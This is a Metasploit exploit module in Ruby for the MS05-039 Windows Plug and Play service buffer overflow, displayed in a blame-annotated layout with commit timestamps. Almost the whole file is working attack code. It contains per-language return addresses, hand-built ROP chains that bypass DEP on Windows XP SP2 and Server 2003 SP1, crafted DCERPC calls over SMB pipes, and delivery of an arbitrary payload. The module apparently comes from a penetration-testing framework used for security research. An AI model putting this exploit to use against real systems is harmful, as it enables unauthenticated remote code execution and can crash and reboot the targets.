2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-16 04:51:08 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2005-11-26 02:33:39 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-16 04:51:08 +00:00
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft Plug and Play Service Overflow',
|
2005-11-26 02:33:39 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the Windows Plug
|
2005-11-26 02:33:39 +00:00
|
|
|
and Play service. This vulnerability can be exploited on
|
2010-06-28 16:01:23 +00:00
|
|
|
Windows 2000 without a valid user account.
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2010-06-28 16:01:23 +00:00
|
|
|
NOTE: Since the PnP service runs inside the service.exe process, a failed
|
|
|
|
exploit attempt will cause the system to automatically reboot.
|
2005-11-26 02:33:39 +00:00
|
|
|
},
|
2009-10-17 05:55:15 +00:00
|
|
|
'Author' => [ 'hdm', 'cazz' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 02:33:39 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-06-28 16:01:23 +00:00
|
|
|
[ 'CVE', '2005-1983' ],
|
|
|
|
[ 'OSVDB', '18605' ],
|
|
|
|
[ 'BID', '14513' ],
|
|
|
|
[ 'MSB', 'MS05-039' ],
|
|
|
|
[ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/' ]
|
2005-11-26 02:33:39 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
2010-06-28 16:01:23 +00:00
|
|
|
'BadChars' => "\x00",
|
2010-04-16 04:51:08 +00:00
|
|
|
'Compat' =>
|
2010-06-28 16:01:23 +00:00
|
|
|
{
|
|
|
|
# -ws2ord XXX?
|
|
|
|
},
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-11-26 02:33:39 +00:00
|
|
|
},
|
2006-01-27 05:00:35 +00:00
|
|
|
'Platform' => 'win',
|
2010-04-16 04:51:08 +00:00
|
|
|
'Targets' =>
|
2005-11-26 02:33:39 +00:00
|
|
|
[
|
2010-04-16 04:51:08 +00:00
|
|
|
[
|
2005-11-26 04:04:49 +00:00
|
|
|
'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
|
2005-11-26 02:33:39 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x767a38f6, # umpnpmgr.dll
|
|
|
|
},
|
|
|
|
],
|
2010-04-16 04:51:08 +00:00
|
|
|
[
|
2005-11-26 02:33:39 +00:00
|
|
|
'Windows 2000 SP4 French',
|
|
|
|
{
|
|
|
|
'Ret' => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com>
|
|
|
|
},
|
|
|
|
],
|
2010-04-16 04:51:08 +00:00
|
|
|
[
|
2005-11-26 02:33:39 +00:00
|
|
|
'Windows 2000 SP4 Spanish',
|
|
|
|
{
|
|
|
|
'Ret' => 0x767738f6, # umpnpmgr.dll
|
|
|
|
},
|
|
|
|
],
|
2010-04-16 04:51:08 +00:00
|
|
|
[
|
2006-07-31 02:01:14 +00:00
|
|
|
'Windows 2000 SP4 English/French/German/Dutch',
|
|
|
|
{
|
|
|
|
'Ret' => 0x01013C79, # [Pita] [Houmous] <pita@mail.com>
|
|
|
|
},
|
2010-04-16 04:51:08 +00:00
|
|
|
],
|
|
|
|
[
|
2005-11-26 02:33:39 +00:00
|
|
|
'Windows 2000 SP0-SP4 German',
|
|
|
|
{
|
2010-04-16 04:51:08 +00:00
|
|
|
'Ret' => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de>
|
2005-11-26 02:33:39 +00:00
|
|
|
},
|
2006-07-31 02:01:14 +00:00
|
|
|
],
|
2010-04-16 04:51:08 +00:00
|
|
|
[
|
2006-07-31 02:01:14 +00:00
|
|
|
'Windows 2000 SP0-SP4 Italian',
|
|
|
|
{
|
|
|
|
'Ret' => 0x7677366f, # acaro <acaro@jervus.it>
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows XP SP1 English',
|
|
|
|
{
|
2010-06-28 16:01:23 +00:00
|
|
|
'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.1106
|
2006-07-31 02:01:14 +00:00
|
|
|
'Pipe' => 'ntsvcs',
|
|
|
|
'Offset' => 16,
|
|
|
|
}
|
2010-06-28 16:01:23 +00:00
|
|
|
],
|
|
|
|
# NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access
|
|
|
|
# the vulnerable functionality.
|
|
|
|
[
|
|
|
|
'Windows XP SP2 English (Requires Admin)',
|
|
|
|
# SafeSEH enabled, DEP AlwaysOn
|
|
|
|
{
|
|
|
|
#'Ret' => 0x41424344,
|
|
|
|
'Ret' => 0x758d2bb3, # pop eax / ret 0x8
|
|
|
|
'Pipe' => 'ntsvcs',
|
|
|
|
'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.2180
|
|
|
|
'Offset' => 72,
|
|
|
|
'EspOffset' => 108,
|
|
|
|
'RopStack' =>
|
|
|
|
# All addresses are from umpnpmgr.dll v5.2.3790.1830
|
|
|
|
[
|
2010-08-30 20:40:05 +00:00
|
|
|
#
|
2010-06-28 16:01:23 +00:00
|
|
|
# Step 1. Allocate an executable heap with HeapCreate
|
|
|
|
#
|
|
|
|
# Resolve HeapCreate from import
|
|
|
|
0x758c1148, # pointer to HeapCreate import
|
|
|
|
0x758c2950, # mov eax, [eax] / pop ebp / ret 0x8
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
#0x758da008, # becomes ebp (something writable)
|
|
|
|
0x758da1c8-0xc, # becomes ebp (writable, used later)
|
|
|
|
|
|
|
|
# Call HeapCreate
|
|
|
|
0x758cb728, # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x01040110, # flOptions (gets & with 0x40005)
|
|
|
|
0x01010101,
|
|
|
|
0x01010101,
|
|
|
|
0x758ce552, # becomes edi - pop edi,esi / ret
|
|
|
|
0x758cdd7e, # becomes esi - pop esi,ebx,ebp / ret 0x4
|
|
|
|
0x41414141, # becomes ebx
|
|
|
|
0x41414141, # becomes ebp
|
|
|
|
|
|
|
|
# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
|
|
|
|
0x758d45f3, # or eax,0x8000 / pop ebp / ret 0x4
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # becomes ebp
|
|
|
|
|
|
|
|
# save eax to ebx
|
|
|
|
0x758ce0d5, # push eax / call esi
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x758da008+0x18, # becomes ebp
|
|
|
|
|
|
|
|
# Setup eax to load our saved stack pointer
|
|
|
|
0x758d18db, # pop eax / ret 0xc
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x758c524e, # becomes eax - pop ebp / ret 0x8
|
|
|
|
#0x758c2423, # becomes eax - pop esi,ebp / ret 0x8
|
|
|
|
|
|
|
|
# Store a pointer to the stack to a known address (ebp-0x18), flows to eax after
|
|
|
|
0x758c1281, # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
#0xcafebabe, # becomes esi
|
|
|
|
0x758da008-0x10, # becomes ebp
|
|
|
|
|
|
|
|
# Call lstrcpyW to copy shellcode into executable heap
|
|
|
|
0x758c542e, # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
|
|
|
|
# Skip the junk
|
|
|
|
0x758c96f6, # add al,0x3b / ret
|
|
|
|
|
|
|
|
# Call the executable segment!
|
|
|
|
0x758c3b62 # call eax
|
|
|
|
]
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows Server 2003 SP0 English (Requires Admin)',
|
|
|
|
# SafeSEH unsupported, DEP unsupported
|
|
|
|
{
|
|
|
|
'Ret' => 0x780df756, # push esp / ret in msvcp60.dll
|
|
|
|
'Pipe' => 'ntsvcs',
|
|
|
|
'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll
|
|
|
|
'Offset' => 72,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows Server 2003 SP1 English (Requires Admin)',
|
|
|
|
# SafeSEH enabled, DEP AlwaysOn
|
|
|
|
{
|
|
|
|
'Pipe' => 'ntsvcs',
|
|
|
|
# We will need to bypass DEP!
|
|
|
|
#'Ret' => 0x41424344,
|
|
|
|
'Ret' => 0x757873d5, # pop eax / ret 0x4
|
|
|
|
'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll
|
|
|
|
'Offset' => 72, # offset to saved eip
|
|
|
|
'EspOffset' => 108, # Offset to where esp ends up pointing
|
|
|
|
'RopStack' => # NOTE: 0x41414141 will become random data
|
|
|
|
# All addresses are from umpnpmgr.dll v5.2.3790.1830
|
|
|
|
[
|
2010-08-30 20:40:05 +00:00
|
|
|
#
|
2010-06-28 16:01:23 +00:00
|
|
|
# Step 1. Allocate an executable heap with HeapCreate
|
|
|
|
#
|
|
|
|
# Resolve HeapCreate from import
|
|
|
|
0x75771144, # pointer to HeapCreate import
|
|
|
|
0x75772e68, # mov eax, [eax] / pop ebp / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # becomes ebp
|
|
|
|
# Call HeapCreate
|
|
|
|
0x7578bc37, # jmp eax
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Save the new heap address in edi
|
|
|
|
0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10
|
|
|
|
0x01040110, # flOptions (gets & with 0x40005)
|
|
|
|
0x01010101,
|
|
|
|
0x01010101,
|
|
|
|
|
|
|
|
#
|
|
|
|
# Step 2. Allocate a buffer using this new heap.
|
|
|
|
#
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Resolve HeapAlloc from import
|
|
|
|
0x7577115c, # pointer to HeapAlloc import
|
|
|
|
0x75772e68, # mov eax, [eax] / pop ebp / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # becomes ebp
|
|
|
|
# Save the address of HeapAlloc in esi
|
|
|
|
0x75777ae0, # xchg eax,esi / mov dl,0xff / dec ecx / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Call HeapAlloc
|
|
|
|
0x7578bb6b, # push edi / call esi / pop edi,esi,ebp / ret
|
|
|
|
0xffffffff, # flags
|
|
|
|
0x00010001, # allocation size
|
|
|
|
0x0101018d, # becomes edi / first byte stored
|
|
|
|
0x7577835c, # becomes esi - pop esi / pop ebx / ret
|
|
|
|
0x757830c3, # becomes ebp/eip - pop esi / ret
|
|
|
|
|
|
|
|
#
|
|
|
|
# Step 3. Save the heap address into ebx
|
|
|
|
#
|
|
|
|
0x7578308f, # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Put heap address in edi
|
|
|
|
0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10
|
|
|
|
|
|
|
|
#
|
|
|
|
# Step 4. Write stub:
|
|
|
|
#
|
|
|
|
# metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:
|
|
|
|
# "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"
|
|
|
|
#
|
|
|
|
# Store the first byte.
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x01010174, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x01010124, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x01010104, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x010101ac, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x01010184, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x010101c0, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x01010174, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x01010103, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x010101aa, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x010101eb, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
# Store another byte!
|
|
|
|
0x757873d5, # pop eax / ret 0x4
|
|
|
|
0x010101f8, # next byte to write
|
|
|
|
0x7578be14, # stosb / ret
|
|
|
|
0x41414141, # scratch
|
|
|
|
|
|
|
|
#
|
|
|
|
# Step 5. Finally, call our executable heap buffer.
|
|
|
|
#
|
|
|
|
0x75783efe # call ebx
|
|
|
|
]
|
|
|
|
}
|
2010-04-16 04:51:08 +00:00
|
|
|
]
|
2005-11-26 02:33:39 +00:00
|
|
|
],
|
2006-01-27 05:00:35 +00:00
|
|
|
'DefaultTarget' => 0,
|
2005-12-13 06:08:40 +00:00
|
|
|
'DisclosureDate' => 'Aug 9 2005'))
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
|
2005-12-25 22:47:38 +00:00
|
|
|
], self.class)
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
end
|
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
def pnp_probe(req, pipe = datastore['SMBPIPE'])
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
print_status("Connecting to the SMB service...")
|
2010-04-16 04:51:08 +00:00
|
|
|
begin
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error: #{e.class} #{e}")
|
|
|
|
end
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
|
2006-01-27 05:00:35 +00:00
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# CS_DES
|
2010-04-16 04:51:08 +00:00
|
|
|
cs_des =
|
2006-01-27 05:00:35 +00:00
|
|
|
NDR.long(0) + # CSD_SignatureLength
|
|
|
|
NDR.long(0) + # CSD_LegacyDataOffset
|
|
|
|
NDR.long(req.length) + # CSD_LegacyDataSize
|
|
|
|
NDR.long(0) + # CSD_Flags
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text(16) + # GUID
|
2006-01-27 05:00:35 +00:00
|
|
|
req # CSD_LegacyData
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
# ResourceName:
|
2010-04-16 04:51:08 +00:00
|
|
|
stubdata =
|
2006-01-27 05:00:35 +00:00
|
|
|
NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID
|
|
|
|
NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific
|
|
|
|
NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure)
|
2010-04-16 04:51:08 +00:00
|
|
|
NDR.long(cs_des.length) + # ResourceLen
|
2006-01-27 05:00:35 +00:00
|
|
|
NDR.long(4) + # OutputLen (at least 4)
|
|
|
|
NDR.long(0) # Flags
|
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
print_status("Calling the vulnerable function...")
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
begin
|
|
|
|
dcerpc.call(0x36, stubdata)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server did not respond, this is expected')
|
2006-02-21 16:18:38 +00:00
|
|
|
rescue => e
|
|
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server disconnected, this is expected')
|
2006-02-21 16:18:38 +00:00
|
|
|
else
|
|
|
|
raise e
|
|
|
|
end
|
2006-01-27 05:00:35 +00:00
|
|
|
end
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# Cleanup
|
2010-04-16 04:51:08 +00:00
|
|
|
disconnect
|
|
|
|
|
2010-04-16 05:10:36 +00:00
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and
|
|
|
|
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
|
2006-01-27 05:00:35 +00:00
|
|
|
return true
|
2010-04-16 04:51:08 +00:00
|
|
|
else
|
2006-01-27 05:00:35 +00:00
|
|
|
return false
|
|
|
|
end
|
2005-11-26 02:33:39 +00:00
|
|
|
end
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
def check
|
|
|
|
if (pnp_probe('A'))
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
2010-04-16 04:51:08 +00:00
|
|
|
def exploit
|
2010-06-28 16:01:23 +00:00
|
|
|
# If PtrToZero is set, we use saved-ret-overwrite instead of SEH.
|
|
|
|
if target['PtrToZero'] then
|
|
|
|
eip_off = target['Offset']
|
|
|
|
nul_off = eip_off + 8
|
|
|
|
|
|
|
|
# DEP Bypass version (2003 SP1)
|
|
|
|
if target['RopStack']
|
|
|
|
esp_off = target['EspOffset']
|
|
|
|
|
|
|
|
# Start with a randomized base buffer
|
|
|
|
rop_length = target['RopStack'].length * 4
|
|
|
|
print_status("ROP Data is %u bytes" % rop_length)
|
|
|
|
buf = rand_text(esp_off + rop_length)
|
|
|
|
|
|
|
|
# Put the rest of the stack data at where esp ends up...
|
|
|
|
target['RopStack'].each_with_index { |el,idx|
|
|
|
|
if el != 0x41414141
|
|
|
|
buf[esp_off + (idx*4), 4] = [el].pack('V')
|
|
|
|
end
|
|
|
|
}
|
|
|
|
else
|
|
|
|
# Start with a randomized base buffer
|
|
|
|
buf = rand_text(nul_off)
|
|
|
|
end
|
|
|
|
|
|
|
|
# This becomes EIP
|
|
|
|
buf[eip_off,4] = [target.ret].pack('V')
|
2005-11-26 02:33:39 +00:00
|
|
|
|
2010-06-28 16:01:23 +00:00
|
|
|
# Pointer to NULL (4 zero bytes)
|
|
|
|
buf[nul_off,4] = [target['PtrToZero']].pack('V')
|
|
|
|
else
|
|
|
|
# Pad the string up to reach our SEH frame
|
|
|
|
buf = rand_text(target['Offset'] ? target['Offset'] : 56)
|
2005-11-26 02:33:39 +00:00
|
|
|
|
2010-06-28 16:01:23 +00:00
|
|
|
# Jump over the address and our invalid pointer to the payload
|
|
|
|
buf << Rex::Arch::X86.jmp_short('$+32')
|
|
|
|
buf << rand_text(2)
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2010-06-28 16:01:23 +00:00
|
|
|
# The SEH handler pointer
|
|
|
|
buf << [target.ret].pack('V')
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2010-06-28 16:01:23 +00:00
|
|
|
# Some padding to reach the next pointer
|
|
|
|
buf << rand_text(20)
|
|
|
|
|
|
|
|
# ResourceName - cause access violation on RtlInitUnicodeString
|
|
|
|
buf << rand_text(3) + "\xff"
|
|
|
|
end
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
# Append the encoded payload and we are good to go!
|
|
|
|
buf << payload.encoded
|
2010-04-16 04:51:08 +00:00
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
# Determine which pipe to use
|
|
|
|
pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE']
|
|
|
|
|
2010-04-16 04:51:08 +00:00
|
|
|
pnp_probe(buf, pipe)
|
2010-04-16 05:30:27 +00:00
|
|
|
|
|
|
|
print_status('The server should have executed our payload')
|
|
|
|
|
|
|
|
handler
|
2005-11-26 02:33:39 +00:00
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|